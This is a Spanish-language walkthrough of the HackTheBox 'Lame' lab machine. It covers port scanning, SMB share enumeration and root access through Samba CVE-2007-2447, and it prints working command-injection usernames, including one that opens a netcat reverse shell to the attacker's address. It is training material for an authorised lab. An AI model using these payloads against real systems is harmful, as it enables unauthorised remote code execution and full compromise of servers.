Habilidades: Samba 3.0.20 < 3.0.25rc3 username map
Command Execution - CVE-2007-2447
Introducción
Lame es una máquina de dificultad Easy
en HackTheBox donde aprenderemos acerca de detección de vulnerabilidades en base a versiones antiguas de un servicio. Esta máquina es ideal para quienes se inicien en explotación de vulnerabilidades
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=142 ms
--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 142.022/142.022/142.022/0.000 ms
Nmap Scanning
Iniciaremos el reconocimiento con un escaneo de todos los puertos en la máquina víctima, con el fin de detectar puertos que estén abiertos
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.3 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 14:43 EDT
Nmap scan report for 10.10.10.3
Host is up (0.14s latency).
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un segundo escaneo más exhaustivo a estos puertos abiertos, el propósito ahora será descubrir versiones de los servicios que se ejecutan
nmap -p 21,22,139,445,3632 -sVC 10.10.10.3 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 14:44 EDT
Nmap scan report for 10.10.10.3
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.140
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-04-11T14:45:38-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m25s, deviation: 2h49m44s, median: 23s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.97 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
(Posible) SMB Enumeration
Como el servicio SMB se encuentra expuesto, intentaremos conectarnos sin credenciales para listar los recursos disponibles
smbclient //10.10.10.3/ -U "" -N
Una gran alternativa es usar la herramienta smbmap
que nos muestra los permisos de los que disponemos para cada recurso
smbmap -H 10.10.10.3 -u '' -p ''
[+] IP: 10.10.10.3:445 Name: 10.10.10.3
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
Podemos acceder a un recurso llamado tmp
con capacidad de lectura y escritura, nos conectaremos con smbclient
smbclient //10.10.10.3/tmp
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Apr 16 15:36:06 2025
.. DR 0 Sat Oct 31 02:33:58 2020
kdhy N 0 Wed Apr 16 11:39:40 2025
.ICE-unix DH 0 Wed Apr 16 10:43:33 2025
vmware-root DR 0 Wed Apr 16 10:44:30 2025
hldppda N 0 Wed Apr 16 15:36:05 2025
.X11-unix DH 0 Wed Apr 16 10:43:59 2025
juzahu N 0 Wed Apr 16 12:31:14 2025
.X0-lock HR 11 Wed Apr 16 10:43:59 2025
5541.jsvc_up R 0 Wed Apr 16 10:44:36 2025
vgauthsvclog.txt.0 R 1600 Wed Apr 16 10:43:31 2025
7282168 blocks of size 1024. 5386392 blocks available
Investigando estos archivos, no nos darán información relevante para una explotación
Intrusión / Explotación
Samba 3.0.20 < 3.0.25rc3 /username map
Command Execution - CVE 2007-2447
Esta vulnerabilidad nos permite ejecutar comandos mediante un nombre de usuario malicioso, debido a la falta de sanitización en este parámetro
- https://github.com/amriunix/CVE-2007-2447/blob/master/usermap_script.py
El payload dentro del anterior exploit utiliza el comando logon
dentro de una sesión SMB abierta. Esto nos permite ejecutar un comando utilizando el comando encapsulado
smb: \> logon "/=`nohup ping -c1 10.10.14.212`"
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
Antes de ejecutar esta prueba de Concepto, nos pondremos a la escucha de paquetes ICMP para verificar que recibamos la traza
tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:11:30.274971 IP 10.10.10.3 > 10.10.14.212: ICMP echo request, id 10011, seq 1, length 64
15:11:30.274992 IP 10.10.14.212 > 10.10.10.3: ICMP echo reply, id 10011, seq 1, length 64
Vemos que hemos recibido un ping hacia nuestra máquina desde la IP de la máquina víctima. Ahora podemos intentar enviarnos una shell a nuestra máquina. Pondremos un puerto a la escucha para recibir la conexión
nc -lvnp 443
Iniciaremos la conexión por smb
, y al momento de conectarnos intentaremos iniciar una sesión con un usuario malicioso, que nos enviará una reverse shell con netcat
smbclient //10.10.10.3/tmp
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "=/ `nohup nc 10.10.14.212 443 -e /bin/bash`"
Password:
Escalada de Privilegios
Pues como ya ganamos acceso a la máquina como root
, no habría más que hacer que un tratamiento de la TTY para operar de una forma más cómoda
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.212] from (UNKNOWN) [10.10.10.3] 54217
script /dev/null -c bash
root@lame:/# ^Z
[1] + 56568 suspended nc -lvnp 443
root@parrot lame # stty raw -echo;fg
[1] + 56568 continued nc -lvnp 443
reset xterm # No se verá
root@lame:/# cd /root
root@lame:/# cat root.txt
root@lame:/# cd home
root@lame:/# ls
ftp makis service user
root@lame:/home# cd makis
root@lame:/home/makis# cat user.txt
Por último te dejo la frase del día, muchas gracias por ver…
Ability will never catch up with the demand for it. — Confucius